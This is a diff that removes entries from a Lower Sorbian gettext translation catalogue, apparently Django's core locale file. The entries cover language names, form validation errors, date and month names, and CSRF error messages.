-msgstr "Armeńšćina" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonešćina" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandšćina" - -msgid "Italian" -msgstr "Italšćina" - -msgid "Japanese" -msgstr "Japańšćina" - -msgid "Georgian" -msgstr "Georgišćina" - -msgid "Kabyle" -msgstr "Kabylšćina" - -msgid "Kazakh" -msgstr "Kazachšćina" - -msgid "Khmer" -msgstr "Rěc Khmerow" - -msgid "Kannada" -msgstr "Kannadišćina" - -msgid "Korean" -msgstr "Korejańšćina" - -msgid "Kyrgyz" -msgstr "Kirgišćina" - -msgid "Luxembourgish" -msgstr "Luxemburgšćina" - -msgid "Lithuanian" -msgstr "Litawšćina" - -msgid "Latvian" -msgstr "Letišćina" - -msgid "Macedonian" -msgstr "Makedońšćina" - -msgid "Malayalam" -msgstr "Malajalam" - -msgid "Mongolian" -msgstr "Mongolšćina" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "Malayzišćina" - -msgid "Burmese" -msgstr "Myanmaršćina" - -msgid "Norwegian Bokmål" -msgstr "Norwegski Bokmål" - -msgid "Nepali" -msgstr "Nepalšćina" - -msgid "Dutch" -msgstr "¨Nižozemšćina" - -msgid "Norwegian Nynorsk" -msgstr "Norwegski Nynorsk" - -msgid "Ossetic" -msgstr "Osetšćina" - -msgid "Punjabi" -msgstr "Pundžabi" - -msgid "Polish" -msgstr "Pólšćina" - -msgid "Portuguese" -msgstr "Portugišćina" - -msgid "Brazilian Portuguese" -msgstr "Brazilska portugišćina" - -msgid "Romanian" -msgstr "Rumunšćina" - -msgid "Russian" -msgstr "Rušćina" - -msgid "Slovak" -msgstr "Słowakšćina" - -msgid "Slovenian" -msgstr "Słowjeńšćina" - -msgid "Albanian" -msgstr "Albanšćina" - -msgid "Serbian" -msgstr "Serbišćina" - -msgid "Serbian Latin" -msgstr "Serbišćina, łatyńska" - -msgid "Swedish" -msgstr "Šwedšćina" - -msgid "Swahili" -msgstr "Suahelšćina" - -msgid "Tamil" -msgstr "Tamilšćina" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "Tadźikišćina" - -msgid "Thai" -msgstr "Thaišćina" - -msgid "Turkmen" -msgstr "Turkmeńšćina" - -msgid "Turkish" -msgstr "Turkojšćina" - -msgid "Tatar" -msgstr "Tataršćina" - -msgid "Udmurt" -msgstr "Udmurtšćina" - -msgid "Uyghur" -msgstr "Ujguršćina" - -msgid "Ukrainian" -msgstr "Ukrainšćina" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "Uzbekšćina" - -msgid "Vietnamese" -msgstr "Vietnamšćina" - -msgid "Simplified Chinese" -msgstr "Zjadnorjona chinšćina" - -msgid "Traditional Chinese" -msgstr "Tradicionelna chinšćina" - -msgid "Messages" -msgstr "Powěsći" - -msgid "Site Maps" -msgstr "Wopśimjeśowy pśeglěd sedła" - -msgid "Static Files" -msgstr "Statiske dataje" - -msgid "Syndication" -msgstr "Syndikacija" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Toś ten numer boka njejo ceła licba" - -msgid "That page number is less than 1" -msgstr "Numer boka jo mjeńšy ako 1" - -msgid "That page contains no results" -msgstr "Toś ten bok njewopśimujo wuslědki" - -msgid "Enter a valid value." -msgstr "Zapódajśo płaśiwu gódnotu." - -msgid "Enter a valid domain name." -msgstr "Zapódajśo płaśiwe domenowe mě." - -msgid "Enter a valid URL." -msgstr "Zapódajśo płaśiwy URL." - -msgid "Enter a valid integer." -msgstr "Zapódajśo płaśiwu cełu licbu." - -msgid "Enter a valid email address." -msgstr "Zapódajśo płaśiwu e-mailowu adresu." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Zapódajśo płaśiwe „adresowe mě“, kótarež jano wopśimujo pismiki, licby, " -"pódsmužki abo wězawki." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Zapódajśo płaśiwe „adresowe mě“, kótarež jano wopśimujo unicodowe pismiki, " -"licby, pódmužki abo wězawki." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Zapódajśo płaśiwu %(protocol)s-adresu." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 abo IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Zapódajśo jano cyfry źělone pśez komy." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Zawěsććo toś tu gódnotu jo %(limit_value)s (jo %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" -"Zawěsććo, až toś ta gódnota jo mjeńša ako abo to samske ako %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"Zawěsććo, až toś ta gódnota jo wětša ako abo to samske ako %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" -"Zawěsććo, až toś gódnota jo wjelesere kšacoweje wjelikosći %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Zawěsććo, až toś ta gódnota jo wjele wót kšacoweje wjelikosći " -"%(limit_value)s, zachopinajucy z %(offset)s, na pś. %(offset)s, " -"%(valid_value1)s, %(valid_value2)s a tak dalej." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Zawěsććo, až toś ta gódnota ma nanejmjenjej %(limit_value)d znamuško (ma " -"%(show_value)d)." -msgstr[1] "" -"Zawěsććo, až toś ta gódnota ma nanejmjenjej %(limit_value)d znamušce (ma " -"%(show_value)d)." -msgstr[2] "" -"Zawěsććo, až toś ta gódnota ma nanejmjenjej %(limit_value)d znamuška (ma " -"%(show_value)d)." -msgstr[3] "" -"Zawěsććo, až toś ta gódnota ma nanejmjenjej %(limit_value)d znamuškow (ma " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Zawěććo, až toś ta gódnota ma maksimalnje %(limit_value)d znamuško (ma " -"%(show_value)d)." -msgstr[1] "" -"Zawěććo, až toś ta gódnota ma maksimalnje %(limit_value)d znamušce (ma " -"%(show_value)d)." -msgstr[2] "" -"Zawěććo, až toś ta gódnota ma maksimalnje %(limit_value)d znamuška (ma " -"%(show_value)d)." -msgstr[3] "" -"Zawěććo, až toś ta gódnota ma maksimalnje %(limit_value)d znamuškow (ma " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Zapódajśo licbu." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Zawěsććo, až njejo wěcej ako %(max)s cyfry dogromady." -msgstr[1] "Zawěsććo, až njejo wěcej ako %(max)s cyfrowu dogromady." -msgstr[2] "Zawěsććo, až njejo wěcej ako %(max)s cyfrow dogromady." -msgstr[3] "Zawěsććo, až njejo wěcej ako %(max)s cyfrow dogromady." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Zawěsććo, až njejo wěcej ako %(max)s decimalnego městna." -msgstr[1] "Zawěsććo, až njejo wěcej ako %(max)s decimalneju městnowu." -msgstr[2] "Zawěsććo, až njejo wěcej ako %(max)s decimalnych městnow." -msgstr[3] "Zawěsććo, až njejo wěcej ako %(max)s decimalnych městnow." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Zawěsććo, až njejo wěcej ako %(max)s cyfry pśed decimalneju komu." -msgstr[1] "Zawěsććo, až njejo wěcej ako %(max)s cyfrowu pśed decimalneju komu." -msgstr[2] "Zawěsććo, až njejo wěcej ako %(max)s cyfrow pśed decimalneju komu." -msgstr[3] "Zawěsććo, až njejo wěcej ako %(max)s cyfrow pśed decimalneju komu." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Datajowy sufiks „%(extension)s“ njejo dowólony. Dowólone sufikse su: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Znamuška nul njejsu dowólone." - -msgid "and" -msgstr "a" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s z toś tym %(field_labels)s južo eksistěrujo." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Wobranicowanje \"%(name)s\" jo pśestupjone." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Gódnota %(value)r njejo płaśiwa wóleńska móžnosć." - -msgid "This field cannot be null." -msgstr "Toś to pólo njamóžo nul byś." - -msgid "This field cannot be blank." -msgstr "Toś to pólo njamóžo prozne byś." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s z toś tym %(field_label)s južo eksistěrujo." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s musy za %(date_field_label)s %(lookup_type)s jadnorazowy byś." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Typ póla: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Gódnota „%(value)s“ musy pak True pak False byś." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Gódnota „%(value)s“ musy pak True, False pak None byś." - -msgid "Boolean (Either True or False)" -msgstr "Boolean (pak True pak False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Znamuškowy rjeśazk (až %(max_length)s)" - -msgid "String (unlimited)" -msgstr "Znamuškowy rjeśazk (njewobgranicowany)" - -msgid "Comma-separated integers" -msgstr "Pśez komu źělone cełe licby" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Gódnota „%(value)s“ ma njepłaśiwy datumowy format. Musy we formaśe DD.MM." -"YYYY byś." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Gódnota „%(value)s“ ma korektny format (DD.MM.YYYY), ale jo njepłaśiwy datum." - -msgid "Date (without time)" -msgstr "Datum (bźez casa)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Gódnota „%(value)s“ ma njepłaśiwy format. Musy w formaśe DD.MM.YYYY HH:MM[:" -"ss[.uuuuuu]][TZ] byś." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Gódnota „%(value)s“ ma korektny format (DD.MM.YYYY HH:MM[:ss[.uuuuuu]][TZ]), " -"ale jo njepłaśiwy datum/cas." - -msgid "Date (with time)" -msgstr "Datum (z casom)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Gódnota „%(value)s“ musy decimalna licba byś." - -msgid "Decimal number" -msgstr "Decimalna licba" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Gódnota „%(value)s“ ma njepłaśiwy format. Musy we formaśe [DD] " -"[[HH:]MM:]ss[.uuuuuu] byś." - -msgid "Duration" -msgstr "Traśe" - -msgid "Email address" -msgstr "E-mailowa adresa" - -msgid "File path" -msgstr "Datajowa sćažka" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Gódnota „%(value)s“ musy typ float měś." - -msgid "Floating point number" -msgstr "Licba běžeceje komy" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Gódnota „%(value)s“ musy ceła licba byś." - -msgid "Integer" -msgstr "Integer" - -msgid "Big (8 byte) integer" -msgstr "Big (8 bajtow) integer" - -msgid "Small integer" -msgstr "Mała ceła licba" - -msgid "IPv4 address" -msgstr "IPv4-adresa" - -msgid "IP address" -msgstr "IP-adresa" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Gódnota „%(value)s“ musy pak None, True pak False byś." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolean (pak True, False pak None)" - -msgid "Positive big integer" -msgstr "Pozitiwna wjelika ceła licba" - -msgid "Positive integer" -msgstr "Pozitiwna ceła licba" - -msgid "Positive small integer" -msgstr "Pozitiwna mała ceła licba" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Adresowe mě (až %(max_length)s)" - -msgid "Text" -msgstr "Tekst" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Gódnota „%(value)s“ ma njepłaśiwy format. Musy w formaśe HH:MM[:ss[." -"uuuuuu]] byś." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Gódnota „%(value)s“ ma korektny format (HH:MM[:ss[.uuuuuu]]), ale jo " -"njepłaśiwy cas." - -msgid "Time" -msgstr "Cas" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Gropne binarne daty" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "„%(value)s“ njejo płaśiwy UUID." - -msgid "Universally unique identifier" -msgstr "Uniwerselnje jadnorazowy identifikator" - -msgid "File" -msgstr "Dataja" - -msgid "Image" -msgstr "Woraz" - -msgid "A JSON object" -msgstr "JSON-objekt" - -msgid "Value must be valid JSON." -msgstr "Gódnota musy płaśiwy JSON byś." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "Instanca %(model)s z %(field)s %(value)r njejo płaśiwa wólba." - -msgid "Foreign Key (type determined by related field)" -msgstr "Cuzy kluc (typ póstaja se pśez wótpowědne pólo)" - -msgid "One-to-one relationship" -msgstr "Póśěg jaden jaden" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Póśěg %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Póśěgi %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Póśěg wjele wjele" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Toś to pólo jo trěbne." - -msgid "Enter a whole number." -msgstr "Zapódajśo cełu licbu." - -msgid "Enter a valid date." -msgstr "Zapódajśo płaśiwy datum." - -msgid "Enter a valid time." -msgstr "Zapódajśo płaśiwy cas." - -msgid "Enter a valid date/time." -msgstr "Zapódajśo płaśiwy datum/cas." - -msgid "Enter a valid duration." -msgstr "Zapódaśe płaśiwe traśe." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Licba dnjow musy mjazy {min_days} a {max_days} byś." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"Dataja njejo se wótpósłała. Pśeglědujśo koděrowański typ na formularje. " - -msgid "No file was submitted." -msgstr "Žedna dataja jo se wótpósłała." - -msgid "The submitted file is empty." -msgstr "Wótpósłana dataja jo prozna." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Zawěsććo, až toś to datajowe mě ma maksimalnje %(max)d znamuško (ma " -"%(length)d)." -msgstr[1] "" -"Zawěsććo, až toś to datajowe mě ma maksimalnje %(max)d znamušce (ma " -"%(length)d)." -msgstr[2] "" -"Zawěsććo, až toś to datajowe mě ma maksimalnje %(max)d znamuška (ma " -"%(length)d)." -msgstr[3] "" -"Zawěsććo, až toś to datajowe mě ma maksimalnje %(max)d znamuškow (ma " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Pšosym pak wótpósćelśo dataju pak stajśo kokulku do kontrolnego kašćika, " -"njecyńśo wobej." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Nagrajśo płaśiwy wobraz. Dataja, kótaruž sćo nagrał, pak njejo wobraz był " -"pak jo wobškóźony wobraz." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Wubjeŕśo płaśiwu wóleńsku móžnosć. %(value)s njejo jadna z k dispoziciji " -"stojecych wóleńskich móžnosćow." - -msgid "Enter a list of values." -msgstr "Zapódajśo lisćinu gódnotow." - -msgid "Enter a complete value." -msgstr "Zapódajśo dopołnu gódnotu." - -msgid "Enter a valid UUID." -msgstr "Zapódajśo płaśiwy UUID." - -msgid "Enter a valid JSON." -msgstr "Zapódajśo płaśiwy JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Schowane pólo %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Daty ManagementForm feluju abo su wobškóźone. Felujuce póla: " -"%(field_names)s. Móžośo zmólkowu rozpšawu pisaś, jolic problem dalej " -"eksistěrujo." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Pšosym wótposćelśo maksimalnje %(num)d formular." -msgstr[1] "Pšosym wótposćelśo maksimalnje %(num)d formulara." -msgstr[2] "Pšosym wótposćelśo maksimalnje %(num)d formulary." -msgstr[3] "Pšosym wótposćelśo maksimalnje %(num)d formularow." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Pšosym wótposćelśo minimalnje %(num)d formular." -msgstr[1] "Pšosym wótposćelśo minimalnje %(num)d formulara." -msgstr[2] "Pšosym wótposćelśo minimalnje %(num)d formulary." -msgstr[3] "Pšosym wótposćelśo minimalnje %(num)d formularow." - -msgid "Order" -msgstr "Rěd" - -msgid "Delete" -msgstr "Lašowaś" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Pšosym korigěrujśo dwójne daty za %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Pšosym korigěrujśo dwójne daty za %(field)s, kótarež muse jadnorazowe byś." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Pšosym korigěrujśo dwójne daty za %(field_name)s, kótarež muse za %(lookup)s " -"w %(date_field)s jadnorazowe byś." - -msgid "Please correct the duplicate values below." -msgstr "Pšosym korigěrujśo slědujuce dwójne gódnoty." - -msgid "The inline value did not match the parent instance." -msgstr "Gódnota inline nadrědowanej instance njewótpowědujo." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Wubjeŕśo płaśiwu wóleńsku móžnosć. Toś ta wóleńska móžnosć njejo žedna z " -"wóleńskich móžnosćow." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "„%(pk)s“ njejo płaśiwa gódnota." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s njedajo se w casowej conje %(current_timezone)s " -"interpretěrowaś; jo dwójozmysłowy abo snaź njeeksistěrujo." - -msgid "Clear" -msgstr "Lašowaś" - -msgid "Currently" -msgstr "Tuchylu" - -msgid "Change" -msgstr "Změniś" - -msgid "Unknown" -msgstr "Njeznaty" - -msgid "Yes" -msgstr "Jo" - -msgid "No" -msgstr "Ně" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "jo,ně,snaź" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bajt" -msgstr[1] "%(size)d bajta" -msgstr[2] "%(size)d bajty" -msgstr[3] "%(size)d bajtow" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "wótpołdnja" - -msgid "a.m." -msgstr "dopołdnja" - -msgid "PM" -msgstr "wótpołdnja" - -msgid "AM" -msgstr "dopołdnja" - -msgid "midnight" -msgstr "połnoc" - -msgid "noon" -msgstr "połdnjo" - -msgid "Monday" -msgstr "Pónjeźele" - -msgid "Tuesday" -msgstr "Wałtora" - -msgid "Wednesday" -msgstr "Srjoda" - -msgid "Thursday" -msgstr "Stwórtk" - -msgid "Friday" -msgstr "Pětk" - -msgid "Saturday" -msgstr "Sobota" - -msgid "Sunday" -msgstr "Njeźela" - -msgid "Mon" -msgstr "Pón" - -msgid "Tue" -msgstr "Wał" - -msgid "Wed" -msgstr "Srj" - -msgid "Thu" -msgstr "Stw" - -msgid "Fri" -msgstr "Pět" - -msgid "Sat" -msgstr "Sob" - -msgid "Sun" -msgstr "Nje" - -msgid "January" -msgstr "Januar" - -msgid "February" -msgstr "Februar" - -msgid "March" -msgstr "Měrc" - -msgid "April" -msgstr "Apryl" - -msgid "May" -msgstr "Maj" - -msgid "June" -msgstr "Junij" - -msgid "July" -msgstr "Julij" - -msgid "August" -msgstr "Awgust" - -msgid "September" -msgstr "September" - -msgid "October" -msgstr "Oktober" - -msgid "November" -msgstr "Nowember" - -msgid "December" -msgstr "December" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "měr" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "maj" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "awg" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "now" - -msgid "dec" -msgstr "dec" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Měrc" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Apryl" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Maj" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Junij" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Julij" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Awg." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Now." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dec." - -msgctxt "alt. month" -msgid "January" -msgstr "Januar" - -msgctxt "alt. month" -msgid "February" -msgstr "Februar" - -msgctxt "alt. month" -msgid "March" -msgstr "Měrc" - -msgctxt "alt. month" -msgid "April" -msgstr "Apryl" - -msgctxt "alt. month" -msgid "May" -msgstr "Maj" - -msgctxt "alt. month" -msgid "June" -msgstr "Junij" - -msgctxt "alt. month" -msgid "July" -msgstr "Julij" - -msgctxt "alt. month" -msgid "August" -msgstr "Awgust" - -msgctxt "alt. month" -msgid "September" -msgstr "September" - -msgctxt "alt. month" -msgid "October" -msgstr "Oktober" - -msgctxt "alt. month" -msgid "November" -msgstr "Nowember" - -msgctxt "alt. month" -msgid "December" -msgstr "December" - -msgid "This is not a valid IPv6 address." -msgstr "To njejo płaśiwa IPv6-adresa." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "abo" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d lěto" -msgstr[1] "%(num)d lěśe" -msgstr[2] "%(num)d lěta" -msgstr[3] "%(num)d lět" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d mjasec" -msgstr[1] "%(num)d mjaseca" -msgstr[2] "%(num)d mjasece" -msgstr[3] "%(num)dmjasecow" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d tyźeń" -msgstr[1] "%(num)d tyźenja" -msgstr[2] "%(num)d tyźenje" -msgstr[3] "%(num)d tyźenjow" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d źeń " -msgstr[1] "%(num)d dnja" -msgstr[2] "%(num)d dny" -msgstr[3] "%(num)d dnjow" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d góźina" -msgstr[1] "%(num)d góźinje" -msgstr[2] "%(num)d góźiny" -msgstr[3] "%(num)d góźin" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minuta" -msgstr[1] "%(num)d minuśe" -msgstr[2] "%(num)d minuty" -msgstr[3] "%(num)d minutow" - -msgid "Forbidden" -msgstr "Zakazany" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF-pśeglědanje njejo se raźiło. Napšašowanje jo se pśetergnuło." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Wiźiśo toś tu powěźeńku, dokulaž toś to HTTPS-sedło trjeba \"Referer " -"header\", aby se pśez waš webwobglědowak słało, ale žedna njejo se pósłała. " -"Toś ta głowa jo trěbna z pśicynow wěstoty, aby so zawěsćiło, až waš " -"wobglědowak njekaprujo se wót tśeśich." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Jolic sćo swój wobglědowak tak konfigurěrował, aby se głowy 'Referer' " -"znjemóžnili, zmóžniśo je pšosym zasej, nanejmjenjej za toś to sedło, za " -"HTTPS-zwiski abo za napšašowanja 'same-origin'." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Jolic woznamjenje wužywaśo " -"abo głowu „Referrer-Policy: no-referrer“ zapśimujośo, wótwónoźćo je. CSRF-" -"šćit pomina se głowu „Referer“, aby striktnu kontrolu referera pśewjasć. " -"Jolic se wó swóju priwatnosć staraśo, wužywajśo alternatiwy ako za wótkazy k sedłam tśeśich." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Wiźiśo toś tu powěźeńku, dokulaž toś to HTTPS-sedło trjeba CSRF-cookie, aby " -"formulary wótpósłało. Toś ten cookie jo trěbna z pśicynow wěstoty, aby so " -"zawěsćiło, až waš wobglědowak njekaprujo se wót tśeśich." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Jolic sćo swój wobglědowak tak konfigurěrował, aby cookieje znjemóžnili, " -"zmóžniśo je pšosym zasej, nanejmjenjej za toś to sedło abo za napšašowanja " -"„same-origin“." - -msgid "More information is available with DEBUG=True." -msgstr "Dalšne informacije su k dispoziciji z DEBUG=True." - -msgid "No year specified" -msgstr "Žedno lěto pódane" - -msgid "Date out of range" -msgstr "Datum zwenka wobcerka" - -msgid "No month specified" -msgstr "Žeden mjasec pódany" - -msgid "No day specified" -msgstr "Žeden źeń pódany" - -msgid "No week specified" -msgstr "Žeden tyźeń pódany" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Žedne %(verbose_name_plural)s k dispoziciji" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Pśichodne %(verbose_name_plural)s njejo k dispoziciji, dokulaž " -"%(class_name)s.allow_future jo False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" -"Njepłaśiwy „%(format)s“ za datumowy znamuškowy rjeśazk „%(datestr)s“ pódany" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Žedno %(verbose_name)s namakane, kótarež wótpowědujo napšašowanjeju." - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Bok njejo „last“, ani njedajo se do „int“ konwertěrowaś." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Njepłaśiwy bok (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Prozna lisćina a „%(class_name)s.allow_empty“ jo False." - 